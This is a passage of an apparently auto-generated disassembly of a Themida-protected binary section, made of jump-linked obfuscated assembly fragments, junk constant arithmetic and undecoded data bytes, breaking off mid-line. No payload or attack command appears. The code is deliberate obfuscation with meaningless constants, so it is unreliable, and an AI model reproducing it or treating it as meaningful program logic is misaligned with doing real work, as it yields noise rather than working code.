loc_513FBD: ; CODE XREF: Themida_:00514A1Ej add esp, 4 jmp loc_521A2B ; --------------------------------------------------------------------------- loc_513FC5: ; CODE XREF: Themida_:0051CC12j push eax xor dword ptr [esp], 3DCC2F0Dh push dword ptr [esp] jmp loc_51B720 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 0E95F5457h, 0C833h ; --------------------------------------------------------------------------- loc_513FE4: ; CODE XREF: Themida_:005178BFj sub ebp, 12DD4026h jmp loc_51C511 ; --------------------------------------------------------------------------- aMsSx db '¬S³¾(Øéå:',0 align 2 loc_513FFA: ; CODE XREF: Themida_:00518EA3j add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push ecx push eax push ecx push 3E80h mov [esp], ebx mov bl, dl push eax mov ah, bl mov cl, ah pop eax pop ebx mov ah, cl jmp loc_50F8A5 ; --------------------------------------------------------------------------- dd 7FBF281h, 0C2813947h, 0D6072669h, 148BD721h, 4C48124h dd 81000000h, 0C500CEFh, 5F5D572Bh, 0F11C181h, 8CE96868h dd 330000EBh, 248B2404h, 69EDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51405A: ; CODE XREF: Themida_:00515CCCj push edi push ebx mov ebx, 116E48CFh or ebx, 621D0656h or ebx, 642D7BC5h shl ebx, 6 shr ebx, 7 neg ebx xor ebx, 0FE404015h mov edi, ebx pop ebx sub ebx, edi jmp loc_51C704 ; --------------------------------------------------------------------------- db 28h, 0CBh, 66h dd 58B25259h, 80B9B151h, 0CA3045F1h, 5EBE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51409A: ; CODE XREF: Themida_:00510B3Cj push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5159C5 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 1000000h, 5D04246Ch, 81241C8Bh, 4C4h, 4C38100h, 81000000h dd 4ECh, 242C8900h, 4BDh, 0E9EB0100h, 7CBEh ; --------------------------------------------------------------------------- loc_5140DC: ; CODE XREF: Themida_:005127E3j pop ebx mov ebp, eax pop eax jmp loc_51BB67 ; --------------------------------------------------------------------------- aXst_0 db 'Xé’É',0 dw 6800h dd 6E03h, 57242C89h, 8736BEBFh, 0E9FD8908h, 4F3Eh, 0FFB607E9h dd 5AD001FFh, 0E9240487h, 7637h, 4A59595Ah, 0E51EF281h dd 0D0290892h, 7EBE565Ah, 1309701h, 76BE9F0h db 1, 0 ; --------------------------------------------------------------------------- loc_51412A: ; CODE XREF: Themida_:0051692Cj sub ebx, 53195995h jmp loc_524F0E ; --------------------------------------------------------------------------- db 81h, 0E9h, 37h dd 5A186244h, 0CD38E95Dh, 0C2680000h, 8900000Fh, 1D68243Ch dd 89000035h, 0BA522424h, 4, 4245401h, 0E9555F5Ah, 9C95h ; --------------------------------------------------------------------------- loc_514164: ; CODE XREF: Themida_:0051ABF4j push dword ptr [esp] pop edi push ecx jmp loc_50F8C1 ; --------------------------------------------------------------------------- loc_51416E: ; CODE XREF: Themida_:0051687Ej push edx mov edx, 742550ECh mov edi, 2E2C4CD7h jmp loc_511E82 ; --------------------------------------------------------------------------- loc_51417E: ; CODE XREF: Themida_:00524863j add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edx push ebx jmp loc_519536 ; --------------------------------------------------------------------------- loc_514196: ; CODE XREF: Themida_:00517CFDj sub [esp+4], ebx sub dword ptr [esp+4], 318E6272h pop ebx pop eax add eax, 79A73315h mov ecx, [esp] jmp loc_523CBB ; --------------------------------------------------------------------------- loc_5141B1: ; CODE XREF: Themida_:00515778j mov edi, 0A8B01A2h mov ecx, 891D4FF1h sub ecx, edi pop edi push esi push 465D3601h pop esi shr esi, 8 sub esp, 4 mov [esp], ebx mov ebx, 512944D7h push edx mov edx, 4EA34F4Ch jmp loc_5186B7 ; --------------------------------------------------------------------------- dw 0DF01h dd 243C875Bh, 5624248Bh, 4BEh, 0B727E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5141F2: ; CODE XREF: Themida_:0051FD56j push edx mov edx, 6FE9306Dh sub eax, edx pop edx jmp loc_510594 ; --------------------------------------------------------------------------- loc_514200: ; CODE XREF: Themida_:00510C5Fj mov ecx, 24517146h dec ecx neg ecx jmp loc_51F0B8 ; --------------------------------------------------------------------------- aS5pSrj db '¾S5P!éàJ',0 dw 5100h aFK1wfCosdg db 'f¹Š1Wf¿æo餣',0 align 2 dw 0EC81h dd 4, 0BE243489h, 0FF10CFEBh, 59F0E9h db 0 ; --------------------------------------------------------------------------- loc_514239: ; CODE XREF: Themida_:0051EF69j mov edx, [esp] add esp, 4 jmp loc_50F99A ; --------------------------------------------------------------------------- db 89h dd 6C682414h, 8B258506h, 0C4832414h, 0FDB95104h, 0E929F121h dd 910Fh ; --------------------------------------------------------------------------- loc_514260: ; CODE XREF: Themida_:0051750Cj sub esp, 4 mov [esp], ecx jmp loc_51900B ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0ACBAh, 194F2FBAh, 0E9DAF74Dh, 0A215h, 4EC81h dd 3AE90000h, 6800006Ah, 6B645404h, 17BF575Dh, 31239C51h dd 243C8BFDh, 3A02E9h db 0 ; --------------------------------------------------------------------------- loc_5142A1: ; CODE XREF: Themida_:0051351Bj pop eax sub ch, 0C3h add al, ch pop ecx push small 1DD8h mov [esp], bx push edx jmp loc_5100E8 ; --------------------------------------------------------------------------- dw 0C189h dd 0FFFCC8E9h, 59CF31FFh, 525FF901h, 2BAh, 0F646E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5142CE: ; CODE XREF: Themida_:00515E2Fj xchg ebp, [esp] pop esp jmp loc_517A58 ; --------------------------------------------------------------------------- loc_5142D7: ; CODE XREF: Themida_:0051D21Fj sub ebx, 1AF30600h add ebx, eax add ebx, 1AF30600h sub ebx, 1322659Bh push edx push esi mov esi, 419C4ABBh sub esi, 1 or esi, 697A26EFh dec esi push ecx push esi mov esi, 13185AA0h jmp loc_523855 ; --------------------------------------------------------------------------- loc_514308: ; CODE XREF: Themida_:0052125Cj add esp, 4 pop dword ptr [esp] pop esp div cl movzx cx, ah push 5FDDh mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp sub esp, 4 mov [esp], edx mov edx, 29B332B7h mov ebp, 1E29149Eh add ebp, edx pop edx or ebp, 258A5AE8h push edx push ebx mov ebx, 4C675642h mov edx, 0D24FC563h add edx, ebx pop ebx jmp loc_511CCA ; --------------------------------------------------------------------------- loc_514370: ; CODE XREF: Themida_:00521908j mov [esp], edi jmp loc_51256A ; --------------------------------------------------------------------------- loc_514378: ; CODE XREF: Themida_:0052264Fj idiv ecx push 2655h jmp loc_51BCDE ; --------------------------------------------------------------------------- dd 24048B66h, 7A2F68h, 24148900h, 24148B54h, 798DE9h db 0 ; --------------------------------------------------------------------------- loc_514399: ; CODE XREF: Themida_:0051DD0Dj mov [esp], eax jmp loc_511846 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EBh dd 6DD26C50h, 62F3814Bh, 21A49AEBh, 0E9575BDFh, 0FFFFEE77h ; --------------------------------------------------------------------------- loc_5143B8: ; CODE XREF: Themida_:00521C86j sub [esp+4], ebp add dword ptr [esp+4], 0EEA382Bh mov ebp, [esp] add esp, 4 mov ecx, [esp] jmp loc_50FE02 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0ED810000h, 112D494Fh, 4177ED81h, 0CD013954h, 4177C581h dd 0C5813954h, 112D494Fh, 0FFEF01E9h, 59EBDFFh, 0EDC11CF7h dd 4EC8304h, 0BA241489h, 59083E62h, 4D5AD529h, 418BC581h dd 0ED81C0ACh, 6F6D1167h, 0CBF5814Dh, 31E27774h, 0B1685DE8h dd 0E9000014h, 2C4Ah ; --------------------------------------------------------------------------- loc_514430: ; CODE XREF: Themida_:00521A36j mov [esp], ecx push esp jmp loc_5159A0 ; --------------------------------------------------------------------------- aIcsd db 'ˆçéd',9,0 align 10h dd 371668h, 240C8900h, 0C2885253h, 515AD388h, 0C181E189h dd 4, 0E904E983h, 535Bh ; --------------------------------------------------------------------------- loc_514460: ; CODE XREF: Themida_:00514FEEj sub esp, 4 mov [esp], ebp push ebx push edx mov edx, 1DD2C81h mov ebx, edx jmp loc_51D7B1 ; --------------------------------------------------------------------------- loc_514474: ; CODE XREF: Themida_:00516E2Dj mov esp, [esp] mov [esp], ebx jmp loc_511D21 ; --------------------------------------------------------------------------- loc_51447F: ; CODE XREF: Themida_:00520E06j pop edi push edx jmp loc_5222D3 ; --------------------------------------------------------------------------- dw 4AB8h dd 0C150DC28h, 543503E0h, 186E142h, 0C78158C7h, 4, 31243C33h dd 3C33243Ch, 3F685C24h, 8900002Ch, 0E9682434h, 0E900000Ah dd 0F464h, 8904EC83h, 5F54243Ch, 4C781h, 81500000h, 4ECh dd 24348900h, 0E8458468h, 0CDE95E5Ch, 68000039h, 4F96h dd 0DA49E9h db 0 ; --------------------------------------------------------------------------- loc_5144E5: ; CODE XREF: Themida_:00512FC0j push dword ptr [esp] jmp loc_523523 ; --------------------------------------------------------------------------- db 66h, 2Dh, 64h dd 2C8B6603h, 2C48124h, 66000000h, 551E2D2Dh, 3983BD66h dd 66DDF766h, 6C7CC581h, 7C9F2D66h, 66E80166h, 5D7C9F05h dd 66F02966h, 6632F92Dh, 64F3E952h, 81430000h, 32BD94F3h dd 0CEEE8152h, 293D9228h, 2FBDE9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51453A: ; CODE XREF: Themida_:00517C2Fj push dword ptr [edi+eax*4] sub esp, 4 jmp loc_514962 ; --------------------------------------------------------------------------- db 0B9h, 0EBh, 61h dd 0F181277Bh, 5F625CC0h, 0D1F7E9D1h, 0C973F181h, 0CF29C919h dd 5FFD3159h, 815DEE01h, 4ECh, 37D4E900h, 0F1800000h, 8BC83006h dd 5E9240Ch db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51457B: ; CODE XREF: Themida_:00521191j push eax push 63F2h mov [esp], esp add dword ptr [esp], 4 pop eax push 1485h jmp loc_513A3F ; --------------------------------------------------------------------------- loc_514593: ; CODE XREF: Themida_:00510673j pop ebx push esi mov esi, 2F213C4Fh sub ebx, 6D932C92h add ebx, esi add ebx, 6D932C92h pop esi push esi mov esi, 1E6B79AEh and esi, 110F57C1h inc esi push ebp mov ebp, 119B305Ah jmp loc_516120 ; --------------------------------------------------------------------------- db 5Ah, 81h, 6Ch dd 73730424h, 448115A6h, 712B0424h, 6C8122C5h, 3BA10424h dd 148B3981h, 4C48324h, 0E92434FFh, 0FFFFCA9Ch, 0E950E389h dd 0FFFFB4DEh, 8324048Bh, 0C8904ECh, 56E18924h, 0A286E9h db 0 ; --------------------------------------------------------------------------- loc_514601: ; CODE XREF: Themida_:005120CDj add eax, ecx add eax, 796704D4h pop ecx jmp loc_51AAA0 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0E9241487h, 0FFFFC6E1h, 9396F381h, 0D9013531h, 0FFC8015Bh dd 83592434h, 20504C4h, 33000000h, 4312404h, 24043324h dd 9050E95Ch, 0C870000h, 0F665C24h, 5166C8AFh, 0B0BAE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514652: ; CODE XREF: Themida_:0051107Fj xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_522070 ; --------------------------------------------------------------------------- dd 34FF5455h, 0C4835D24h, 4C58104h, 51000000h, 4B9h, 0F159E900h dd 0F681FFFFh, 6A3138B0h, 0CE8AE9h, 80C2FE00h, 8DE92FCAh dd 0AD000091h, 567F68h, 24348900h, 7114BA52h, 0D6892A6Ah dd 0FFF0295Ah, 34FF2434h, 68E8E924h, 0D1310000h, 8124148Bh dd 4C4h, 36DA6800h, 4890000h, 0D994B824h, 0C129BCA5h, 8124048Bh dd 4C4h, 34815100h, 0CE19A324h, 0BA525E16h, 51FF4A9Ah dd 3ADCE9h, 2434FF00h, 305B6858h, 50E90000h, 88000011h dd 0FE5B59ECh, 2EC83CCh, 241C8966h, 5E4EE950h, 815F0000h dd 2C5h, 242C3300h, 0FBC9E9h, 20E98100h, 8113251Dh, 0FFFFFFC1h dd 0E0F181FFh, 1ECFBA6h, 0C404E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51472E: ; CODE XREF: Themida_:005191FCj mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_51A6F2 ; --------------------------------------------------------------------------- aPsb db 'Péb',7,0 dw 8900h dd 7CB22414h, 0C892E9h, 241C8B00h, 81E68956h, 4C6h, 4C68300h dd 5C243487h, 4C381h, 0F8E90000h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514773: ; CODE XREF: Themida_:005222B5j push ecx push 49E7371Eh pop ecx add ecx, 1EEE3C4Dh add ecx, 3E3B7F8Dh shr ecx, 6 xor ecx, 2AD37DEEh mov eax, ecx pop ecx shl eax, 4 xor eax, 8F32E3F8h xor ebp, eax jmp loc_52088E ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 5F2414F7h, 38DEBA52h, 0D731176Ah, 0EAE9515Ah dd 5F0000FCh, 6B4768h, 24048900h, 0C389D089h, 582434FFh dd 4C481h, 0E95A0000h, 0C323h ; --------------------------------------------------------------------------- loc_5147D8: ; CODE XREF: Themida_:00521932j push dword ptr [esp] mov ebp, [esp] jmp loc_521D1D ; --------------------------------------------------------------------------- db 29h dd 4EE981E9h, 503E1B77h, 336C02B8h, 9361E931h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5147F6: ; CODE XREF: Themida_:00512231j xchg edi, [esp] pop esp pop dword ptr [esp] pop esp push 66FCh mov [esp], ebp jmp loc_515F53 ; --------------------------------------------------------------------------- db 52h dd 0D83AD6BAh, 4EAC146h, 0E2EBF57h, 4E95AD9h, 80000059h dd 0E500EDC5h, 58EDED80h, 34FFEE88h, 0C4815924h, 4, 6636C680h dd 0E90DC968h, 0FFFFC057h ; --------------------------------------------------------------------------- loc_514840: ; CODE XREF: Themida_:0051B542j push ecx jmp loc_5237F1 ; --------------------------------------------------------------------------- dw 1C87h aSR db '$é+R',0 align 2 loc_51484E: ; CODE XREF: Themida_:0051E12Dj push edi mov edi, 0E934731h and edi, 2B1511F0h neg edi sub edi, 339109BEh inc edi xor edi, 9CA1D97Bh sub ecx, edi pop edi push 283Ch jmp loc_5106B9 ; --------------------------------------------------------------------------- loc_514876: ; CODE XREF: Themida_:0051B6DEj add ebx, 4 jmp loc_522F08 ; --------------------------------------------------------------------------- loc_514881: ; CODE XREF: Themida_:00523550j or eax, 19AF704Eh shr eax, 8 shr eax, 5 shr eax, 3 add eax, 0FFFFA205h add edx, eax jmp loc_519F9B ; --------------------------------------------------------------------------- loc_51489B: ; CODE XREF: Themida_:0051AD89j push 778Ah jmp loc_51066A ; --------------------------------------------------------------------------- db 0F6h, 0D6h, 0D0h aUqZYsF db 'îQ±Z(ÎYéÞä',0 align 4 dd 0E92434FFh, 0F725h, 731B97B9h, 61C18117h, 526BB92Ah dd 12176DBAh, 12DCE927h, 0E94F0000h, 0FFFFC7E3h ; --------------------------------------------------------------------------- loc_5148D8: ; CODE XREF: Themida_:0051E512j add esp, 4 sub esi, 4 jmp loc_5175EC ; --------------------------------------------------------------------------- loc_5148E3: ; CODE XREF: Themida_:00517A3Cj pop edx jmp loc_52061D ; --------------------------------------------------------------------------- loc_5148E9: ; CODE XREF: Themida_:0051A98Dj pop edx add esp, 4 xchg ebp, [esp] pop esp push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_524742 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFB14Ch, 2E3C15Bh, 71685650h, 89000074h, 0BE562414h dd 69A9282Eh, 2AE9F289h, 0B0000033h, 0E920B1D4h, 60FDh dd 5D52DA89h, 94E7E9h, 0F5BD5500h, 165546Fh, 0EB815DEBh dd 76A556A9h, 0C381EB01h, 76A556A9h, 0EF6AE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51495A: ; CODE XREF: Themida_:00512F02j shr edi, 6 jmp loc_522DD3 ; --------------------------------------------------------------------------- loc_514962: ; CODE XREF: Themida_:00514540j mov [esp], ecx push 0D4C4067h mov ecx, [esp] add esp, 4 sub dword ptr [esp+4], 1C268E0h add [esp+4], ecx add dword ptr [esp+4], 1C268E0h mov ecx, [esp] push eax mov eax, esp push ebx jmp loc_51A5BB ; --------------------------------------------------------------------------- db 52h dd 493403BAh, 1EA836Ah, 2745E9h, 0DCC28100h, 81F08044h dd 8D1832E2h, 6BF28155h, 8143AC09h, 4C33B8CAh, 9C28106h dd 1E813C4h, 0EB815AD3h, 4, 5C241C87h, 0F7242C89h, 525D2414h dd 5553E289h, 891FA0BDh, 58C58176h, 81AE6E4Dh, 0DC3AE3EDh dd 0EFC5813Bh, 8916E4CDh, 0DA015DEBh, 81241C8Bh, 4C4h dd 7EE95700h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_514A03: ; CODE XREF: Themida_:0051F4C0j mov esi, 58815A63h mov ecx, 58815A64h sub ecx, 4CDD5B14h sub ecx, esi add ecx, 4CDD5B14h mov esi, [esp] jmp loc_513FBD ; --------------------------------------------------------------------------- db 5Eh dd 4C681h, 0C6830000h, 24348704h, 0CEE9425Ch, 66000008h dd 66243489h, 664F5D68h, 66241C89h, 51D116BBh, 0CA39E957h dd 0EA29FFFFh, 941AE9h, 0EA315900h, 83242C8Bh, 0D18904C4h dd 0E924148Bh, 0FFFFF27Ah, 0FF2434FFh, 0C8B2434h, 4C48324h dd 0FFBAE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_514A79: ; CODE XREF: Themida_:0051A4F6j mov ecx, 654041Ch shr ecx, 7 shl ecx, 4 add ecx, 3216F21Ch add esi, ecx jmp loc_51DEEA ; --------------------------------------------------------------------------- dd offset dword_49A05C+70Ch align 2 dw 0FEE9h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514A9B: ; CODE XREF: Themida_:0051FD80j pop esp shl bl, 7 push 0 jmp loc_518135 ; --------------------------------------------------------------------------- loc_514AA9: ; CODE XREF: Themida_:00524F14j push edi push edx push 2EB39D0h pop edx push ebp push ecx mov ecx, 116B6244h mov ebp, 6B2DCF41h sub ebp, ecx pop ecx jmp loc_5132EF ; --------------------------------------------------------------------------- db 5, 6, 14h dd 0F00126EEh, 0EE14062Dh, 9E2D5E26h, 2D7B020Fh, 32DF125Fh dd 5F05D829h, 0E932DF12h, 0FFFFBA27h, 565DEE01h, 4F240481h dd 5A007D26h, 264FEA81h, 348B007Dh, 4C48324h, 0E34F281h dd 0EAC10D32h, 1EF28105h, 0E914A200h, 10363h ; --------------------------------------------------------------------------- loc_514B14: ; CODE XREF: Themida_:0051D47Ej mov [esp], edx jmp loc_5224EF ; --------------------------------------------------------------------------- dd 0C8BCB21h, 4C48324h, 2C9ACB81h, 0B9514E55h, 77283E34h dd 74A3C981h, 2CE962E6h, 890000F4h, 55E9241Ch, 8B00005Ah dd 0C481240Ch, 4, 0ABBAE958h, 6C01FFFFh, 8B5D0424h, 0C4812434h dd 4, 39BE5652h, 0BA734C48h, 3C4B148Dh, 1CE9F231h, 29FFFFD4h dd 7AE981D1h, 5A6A3D05h, 430EE9h, 39B85000h, 0E90CBB1Fh dd 9BBBh ; --------------------------------------------------------------------------- loc_514B8C: ; CODE XREF: Themida_:005196E1j mov ebp, 42B81648h sub eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 jmp loc_51B541 ; --------------------------------------------------------------------------- dd 8101C683h, 0E83F94F6h, 6ED8101h, 0E9462277h, 0A240h dd 5E7ACB81h, 88E92B16h, 0FF000009h, 669D1C77h, 4116658h dd 39E99C24h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514BD3: ; CODE XREF: Themida_:0051B8A8j add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push 2766h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_518D6D ; --------------------------------------------------------------------------- dd 0ED81CD01h, 599F04E3h, 38BBBA59h, 0EA3149CCh, 0FFB1E9h dd 52D10100h, 645DD3BAh, 0A924E923h, 34BE0000h, 0E972060Dh dd 0D5CBh, 5904C483h, 1C781h, 0D7F70000h, 9D93E9h, 0E9C78900h dd 3E2h ; --------------------------------------------------------------------------- loc_514C3C: ; CODE XREF: Themida_:00523534j add dword ptr [esp], 4 pop ebx push ecx mov ecx, 5F2F1EC2h shr ecx, 3 sub ecx, 50A24422h inc ecx xor ecx, 0BB439FB3h sub ebx, 6A8A7607h push edi jmp loc_512639 ; --------------------------------------------------------------------------- loc_514C63: ; CODE XREF: Themida_:0050F8D2j xor [esp], ecx xor ecx, [esp] pop esp shr eax, 18h xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_523CCE ; --------------------------------------------------------------------------- dw 34BBh dd 297B3829h, 0EA295BDAh, 2934C281h, 0C2817B38h, 6DA31C0Eh dd 83242C8Bh, 0EA8104C4h, 795A35C7h, 0C281C229h, 795A35C7h dd 0C386E956h, 0F6800000h, 0E9662CE6h, 0FFFFCC56h, 0E904C483h dd 0FFFFE299h, 0FFF7295Ch, 505E2434h, 8F2CE9h db 0 ; --------------------------------------------------------------------------- loc_514CC9: ; CODE XREF: Themida_:00518C86j add ebx, 4 jmp loc_51BAE2 ; --------------------------------------------------------------------------- loc_514CD4: ; CODE XREF: Themida_:00521820j sub esp, 4 mov [esp], ebx push edi push 3656h mov [esp], edx mov edx, 2DC328AFh mov edi, 14F8F83Ah sub edi, 34C53EF5h jmp loc_51B5BE ; --------------------------------------------------------------------------- loc_514CF8: ; CODE XREF: Themida_:0051CA35j mov edi, [esp] add esp, 4 jmp loc_519FC4 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 0F1BA5200h, 0E916E07Eh, 0ECF4h, 0C281C201h, 22BF6FFFh dd 8124048Bh, 4C4h, 4C28100h, 52000000h, 42474FFh, 24048F5Ah dd 7449E9h, 24348B00h, 4C481h, 4B050000h, 1464A0Fh, 0F4B2DD0h dd 1E05464Ah, 0E93FE94Bh, 0EFFCh, 0E509E951h, 0DE2D0000h dd 5172540Fh, 2A3475B9h, 0E9414918h, 0A68Dh, 6CEEE95Fh dd 895E0000h, 24148BD0h, 4C481h, 0A9E90000h, 800000E6h dd 0C8009DE9h, 78E95359h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_514D93: ; CODE XREF: Themida_:00513E41j mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_50FAA1 ; --------------------------------------------------------------------------- dd 0E951DFF6h, 6462h, 240C8B66h, 0DD92E9h db 0 ; --------------------------------------------------------------------------- loc_514DB5: ; CODE XREF: Themida_:00516198j add esp, 4 add ebx, 58BF1574h add ebx, edi sub ebx, 58BF1574h push 2757h jmp loc_51F4A2 ; --------------------------------------------------------------------------- loc_514DD3: ; CODE XREF: Themida_:005248DFj inc edx shl edx, 6 jmp loc_51603F ; --------------------------------------------------------------------------- dd 0E9241C87h, 6424h, 295AD601h, 0D9E951D6h, 5000007Ah dd 8B87E9h, 6AF28100h, 8147A552h, 0FD7593C2h, 5AD02997h dd 430F3D05h, 2DF8016Fh, 6F430F3Dh, 0A547D905h, 21E42D63h dd 0BF5771F5h, 64A96B83h, 0E7C1EFD1h, 76E95503h, 51FFFFCEh dd 0C889F189h, 24348B59h, 4C481h, 0C5010000h, 9332E9h dd 0C895C00h, 4946E924h, 0D2F70000h, 0FFDA32E9h, 0C7815FFFh dd 4, 4E4B6852h, 34890000h, 2BE24h, 0F2890000h, 8324348Bh dd 0A2E904ECh, 5600005Ch, 6D6E9ABEh, 0C9F68156h, 0E9116A37h dd 774Fh, 0FE0BE56h, 0C14662EDh, 0E6D106E6h, 47EEE9h db 0 ; --------------------------------------------------------------------------- loc_514E95: ; CODE XREF: Themida_:00523DC8j pop ebx xchg eax, [esp] jmp loc_516396 ; --------------------------------------------------------------------------- aBOIUsz db ')ê®;‰%]UéZ%',0 dd 68505200h, 6A493551h, 2BDAE9h db 0 ; --------------------------------------------------------------------------- loc_514EB9: ; CODE XREF: Themida_:00524251j sub esi, edx jmp loc_51F776 ; --------------------------------------------------------------------------- dd 813877FFh, 0F8A242Ch, 34FF43B7h, 0EC815924h, 4, 54241489h dd 0BCC6E95Ah, 83500000h, 248904ECh, 0BFCBE924h, 2C31FFFFh dd 242C3324h, 0FF24248Bh, 0FFE92434h, 5CFFFFB4h, 8704EE83h dd 895C2434h, 6866242Ch, 5D66341Ch, 0BE665666h, 9660BBCh dd 665E66F5h, 662C2068h, 53241489h, 645ABB66h, 0BA665266h dd 1663FC9h, 0E95A66D3h, 0FFFFD26Ch ; --------------------------------------------------------------------------- loc_514F34: ; CODE XREF: Themida_:005197C8j pop ebx jmp loc_52180C ; --------------------------------------------------------------------------- dw 0E95Ch dd 1D8Eh ; --------------------------------------------------------------------------- loc_514F40: ; CODE XREF: Themida_:0051A3E2j sub ebp, 6827804h add ebp, ebx sub esp, 4 jmp loc_51F2AC ; --------------------------------------------------------------------------- dd 2454015Ah, 0C580E904h, 0C5810000h, 116B0817h, 4289ED81h dd 15E1904h, 0BF34E9D5h, 0C8BFFFFh, 945E924h, 9E680000h dd 89000041h, 0E2892414h, 4C281h, 0C2830000h, 24148704h dd 2C1835Ch, 31240C33h, 0DFE9240Ch db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_514F9B: ; CODE XREF: Themida_:0052351Ej sub dword ptr [esp], 353108E2h mov ebp, [esp] add esp, 4 add ebp, 353108E2h mov edi, [esp] add esp, 4 mov ecx, ebp jmp loc_51B065 ; --------------------------------------------------------------------------- db 29h, 6Ch, 24h dd 0E5E95204h, 8B00002Bh, 0C483242Ch, 584EE904h, 0EDD10000h dd 0AA9CE9h db 0 ; --------------------------------------------------------------------------- loc_514FDD: ; CODE XREF: Themida_:005198C4j sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx mov edx, 72A84E87h jmp loc_514460 ; --------------------------------------------------------------------------- db 66h dd 6633FDBBh, 5B66DD29h, 66D52966h, 33FDC581h, 8F82E9h dd 86586600h, 66DE86CBh, 88F48850h, 66E388DEh, 9357E958h dd 48B0000h, 4C48124h, 0E9000000h, 0BA89h, 4C281h, 0C2830000h dd 24148704h, 38A1E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_51503E: ; CODE XREF: Themida_:00519BF0j push 45857D79h pop ecx xor ecx, 0D4F1A4Ah dec ecx jmp loc_51F463 ; --------------------------------------------------------------------------- dd 68E9ACh, 0DA000000h, 0B020E9h, 4C28100h, 81000000h dd 4C2h, 24148700h, 0CF61E9h db 0 ; --------------------------------------------------------------------------- loc_515071: ; CODE XREF: Themida_:0051F677j sub ebp, 2C742211h mov ebx, ebp jmp loc_51A2C0 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0F8BD5557h, 577EC974h, 0A8797CBFh, 0D176E920h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515096: ; CODE XREF: Themida_:0051C195j mov [esp], edi push esp mov edi, [esp] jmp loc_522CB1 ; --------------------------------------------------------------------------- dw 65E9h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5150A7: ; CODE XREF: Themida_:0051FEB3j xor [esp], edi xor edi, [esp] pop esp push eax push esp jmp loc_5201A7 ; --------------------------------------------------------------------------- loc_5150B5: ; CODE XREF: Themida_:00520FDAj pop ebx xor ch, 0F8h jmp loc_520C89 ; --------------------------------------------------------------------------- dw 6568h dd 8900005Ah, 0C9E9241Ch, 520000B4h, 53E5E9h db 0 ; --------------------------------------------------------------------------- loc_5150D1: ; CODE XREF: Themida_:0051D29Ej mov edi, 4 sub eax, 5FF4FF0h add eax, edi push ebp jmp loc_517D8A ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 1193B824h, 0C3011AF8h, 0ACB8E9h, 61C78100h dd 0E9143241h, 0FFFFF4F0h, 0E924148Bh, 6EBDh ; --------------------------------------------------------------------------- loc_515108: ; CODE XREF: Themida_:005245E4j push eax mov eax, ebx jmp loc_51B01A ; --------------------------------------------------------------------------- dd 31CBC681h, 58E901FBh, 0FF00007Ch, 5E042474h, 7D77E9h db 0 ; --------------------------------------------------------------------------- loc_515125: ; CODE XREF: Themida_:00522C03j push ebx mov ebx, 4 add eax, ebx pop ebx jmp loc_51C894 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFA951h, 0ADE9515Dh db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515143: ; CODE XREF: Themida_:0051B7C9j inc edi shl edi, 4 shl edi, 2 jmp loc_51D28C ; --------------------------------------------------------------------------- db 68h dd 274h, 0B8240489h, 4, 5358C301h, 0FC61E9h, 64EFB900h dd 0C18100FCh, 0FF039B15h, 5359CD01h, 0FFE460E9h, 4EC81FFh dd 89000000h, 0F1BB241Ch, 0E959CF32h, 9F02h, 0C8B7E95Dh dd 0E9ADFFFFh, 0EFA1h, 24048F5Ah, 2924248Bh, 2434FFC8h dd 4EC8159h, 89000000h, 0E189240Ch, 4C181h, 0C1810000h dd 4, 5C240C87h, 0A0BF5755h, 573B1B71h, 9134E9h, 0E9F30100h dd 0A6F7h ; --------------------------------------------------------------------------- loc_5151D4: ; CODE XREF: Themida_:00510458j mov ecx, [esp] jmp loc_51622B ; --------------------------------------------------------------------------- dd 0AF7FE953h, 0F1810000h, 2F5750BBh, 0D7ACE9h db 0 ; --------------------------------------------------------------------------- loc_5151ED: ; CODE XREF: 